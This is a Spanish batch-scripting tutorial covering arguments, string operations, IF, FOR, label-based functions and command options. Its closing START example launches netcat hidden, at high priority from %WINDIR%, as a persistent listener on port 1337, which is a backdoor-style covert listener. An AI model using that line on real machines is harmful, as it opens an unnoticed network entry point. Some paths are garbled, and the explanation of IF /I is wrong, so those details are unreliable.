Solo ruta: Documents and SettingsAdministradortempcurso
Nombre: archivo
Extension: .txt

Ruta Corta: C OCUME~1ADMINI~1TEMPCU~1archivo.txt


Atributos: --a------
Fecha: 24/07/06 12:25a
Tama±o: 6

Tambien podemos usar varias propiedades, por ejemplo, este codigo:


Código:
@echo off

echo %~anxt1

saca este resultado:


Código:
C ocuments and SettingsAdministradortempcurso>analiza archivo.txt
--a------ 24/07/06 12:25a archivo.txt
Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una
palabra, se debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:


Código:
@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1

saca este resultado:


Código:
C ocuments and SettingsAdministradortempcurso>astring "parametro de varias letras"
Con Comillas: "parametro de varias letras"
Sin Comillas: parametro de varias letras
Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:
Código:
@echo off

echo Argumentos: %*

al ejecutar:

astring parametro de varias letras

nos regresa:
Código:
C ocuments and SettingsAdministradortempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras
Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:
Código:
@echo off
echo ¿Como te llamas?
set /P miva=

echo Tu te llamas %miva%

hara algo asi:


Código:
C ocuments and SettingsAdministradortempcurso>astring
┐Como te llamas?
Juan
Tu te llamas Juan

Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:
Código:
@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%

Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:


Código:
@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%

esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:


Código:
@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%

tenemos las siguientes operaciones disponibles:


Código:
() - agrupar
* / % - operadores aritméticos
+ - - operadores aritméticos
<< >> - mayús lógica
& - AND
^ - XOR
| - OR
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión

Con este podemos usar numeros hexadecimales de la siguiente forma:


Código:
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%

al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.


________________________________________

Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %


Como imprimes uno?

veamos:
Código:
@echo off
set x=pru
set pru=HOLA

:: Esto imprimira el contenido de x


echo %x%

::Esto imprimira la letra x


echo x

::Esto imprimira %x%


echo %%x%%

::Esto imprimira el valor de x entre %%


echo %%%x%%%

:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%

En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:


&
|
<
>
debes colocar este caracter antes:^

por ejemplo:
Código:
echo <html><h1>Hola</h1></html> >index.html

no funcionara, pero:
Código:
echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html

dara:
Código:
C ocuments and SettingsAdministradortempcurso>type index.html
<html><h1>Hola</h1></html>
________________________________________

Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de
ALLUSERSPROFILE y HOMEPATH, por ejemplo:
Código:
@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%
dara como resultado:
Código:
C ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:49.33
Numero Aleatorio: 24523

C ocuments and SettingsAdministradortempcurso>astring


Directorio Actual: C ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:51.60
Numero Aleatorio: 3681

Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al
directorio actual, por ejemplo:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
POPD
echo %CD%

PUSHD funciona de la siguiente manera:

Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:


Código:
@echo off
echo %CD%
PUSHD
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%

________________________________________

IF

If, reconoce varias situaciones:

valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no


estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:


Código:
@echo off
IF "%~1"=="hola" echo hola

usamos %~1 para que aunque el usuario ponga comillas, no salga error
Código:
@echo off
IF /I "%~1"=="hola" echo hola

este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la
comparacion.

ahora, podemos usar IF en varias lineas:


Código:
@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
)

con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de


comparación:
Código:

EQU - igual
NEQ - no igual
LSS - menor que
LEQ - menor que o igual
GTR - mayor que
GEQ - mayor que o igual

por ejemplo:
Código:
@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
echo NO ERES MAYOR DE EDAD
)
que regresa:
Código:

C ocuments and SettingsAdministradortempcurso>acon


Cual es tu edad?
19
ERES MAYOR DE EDAD
C ocuments and SettingsAdministradortempcurso>acon
Cual es tu edad?
17
NO ERES MAYOR DE EDAD

Tambien podemos saber si una variable ya fue definida:


Código:
IF DEFINED var (
echo SI
) ELSE (
echo NO
)

________________________________________

FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de
comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:


Código:
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse,


por ejemplo:
Código:
FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con
ellos.. por ejemplo:
Código:
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.

para SOLO mostrar directorios:


Código:
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con
el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:
Código:
├───adios
│ └───algo
│ └───xx
└───hola

al ejecutar el comando:
Código:
FOR /R /D %%x in (a*) DO echo %%x
C:adios
C:adiosalgo

sinembargo, al ejecutar el comando..


Código:
FOR /R %%x in (*x*) DO echo %%x
C:ax.txt
C:adiossx.txt
C:adioswwx.txt
C:adiosalgokkx.txt
C:adiosalgoxxxx.txt
C:holaax.txt
C:holarx.txt

nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso
podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado
de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:
Código:
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:


conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" "
comando -> con comilla simple (' ')
las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como
separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados
a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la
linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la
linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:


usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:


Código:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso,
siempre piensa en los demas." DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a
%%p %%q
dara de resultado:
Código:
George es malvado, es tonto, siempre piensa en matar a los demas.

________________________________________

Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un


codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede
servir de funcion y recibir parametros.

miren, el siguiente programa:


Código:
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
echo Estoy en: %~nx0-^>%0 %*

al ser llamado, por ejemplo en:


Código:
C:>ejemplo
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros
enviados al programa.
en este otro ejemplo:
Código:
C:>ejemplo HOLA MUNDO
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si
queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código:
@echo off&call:main&goto:EOF

:suma
set /A res=%1 + %2
echo %res%
goto:EOF
:resta
set /A res=%1 - %2
echo %res%
goto:EOF

:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF

:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%

echo su resta es:


call:resta %arg%

echo su producto es:


call:multiplica %arg%

goto:EOF

como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:


Código:
C:>operaciones
Escribe 2 numeros separados por un espacio 6 2
62
su suma es:
8
su resta es:
4
su producto es:
12

________________________________________

Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:


Código:
@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...

por ejemplo:

--inclu.bat--
Código:
@echo off&call:%*&goto:EOF

:cabeza
echo ###############
echo # Hecho por: #
echo # sirdarckcat #
echo ###############
goto:EOF

:uso
echo uso:
echo %~nx0 Nombre
goto:EOF

:nombre
echo Hola %*
goto:EOF

--inicio.bat--
Código:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)

esto daria este resultado:


Código:
C:>inicio
###############
# Hecho por: #
# sirdarckcat #
###############
uso:
inclu.bat Nombre
C:>inicio sirdarckcat
Hola sirdarckcat

C:>

________________________________________

Misc
Algunos filtros y comandos interesantes:
• comando | more
muestra el resultado del comando de forma paginada
• comando | sort
muestra el resultado del comando de forma ordenada
• TITLE "algo"
cambia el titulo de la ventana de CMD
• SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso
• FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra
solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)
• FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que
DOS tiene a grep), descripción detallada:
Código:
Busca cadenas en los archivos.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]

[[unidad [ruta]nombredearchivo[ ...]]

/B Hace coincidir los modelos si están al principio de la línea.


/E Hace coincidir los modelos si están al final de la línea.
/L Literalmente utiliza cadenas de búsqueda.
/R Utiliza cadenas sde búsqueda como expresiones regulares.
/S Busca archivos que coinciden en el directorio actual y en todos
los subdirectorios.
/I Especifica que la búsqueda no distingue mayúsculas de minúsculas.
/X Imprime líneas que coinciden con exactitud.
/V Sólo imprime líneas que no contienen una correspondencia.
/N Imprime el número de la línea antes de la línea que coincide.
/M Sólo imprime el nombre de archivo si el archivo contiene una
correspondencia.
/O Imprime un carácter de desplazamiento antes de las líneas que
coinciden.
/P Omite archivos con caracteres que no son imprimibles
/A:attr Especifica atributos de color con dos dígitos hexadecimales. Ver
"color /?"
/F:archivo Lee la lista de archivos desde el archivo especificado
(/ significa consola).
/C:cadena Utiliza una cadena especificada como una búsqueda de cadena
literal.
/G:archivo Coje la búsqueda de archivos desde el archivo especificado
(/ significa consola).
/D:dir Busca un signo de punto y coma de la lista delimitada de
directorios
cadenas Texto que se debe buscar.
[unidad [ruta]nombredearchivo
Especifica un archivo o archivos que buscar.

Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que


el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qué tal" x.y'
busca "qué" o "tal" en el archivo x.y. 'FINDSTR /C:"qué tal" x.y' busca
"qué tal" en el archivo x.y.

Expresión regular de referencia rápida:


. Comodín: cualquier carácter
* Repetir: cero o más ocurrencias de un carácter previo o de clase
^ Posición de línea: comienzo de la línea
$ Posición de línea: fin de línea

Clase de carácter: cualquier carácter en la serie


[^class] Clase inversa: cualquier carácter que no esté en la serie
[x-y] Intervalo: cualquier carácter que esté dentro del intervalo
especificado
x Escape: uso literal de un metacarácter x
<xyz Posición de palabra: principio de palabra
xyz> Posición de palabra: fin de palabra

Para obtener una información más completa sobre expresiones regulares de


FINDSTR referirse al Comando de referencia Command en línea.

• start "titulo ventana nueva" comando argumentos


START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.

las opciones entre otros contienen:


/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas
en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat,
podrian hacer algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en
%windir%

EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso,
solo sirve para terminar el documento , espero les sirva

You might also like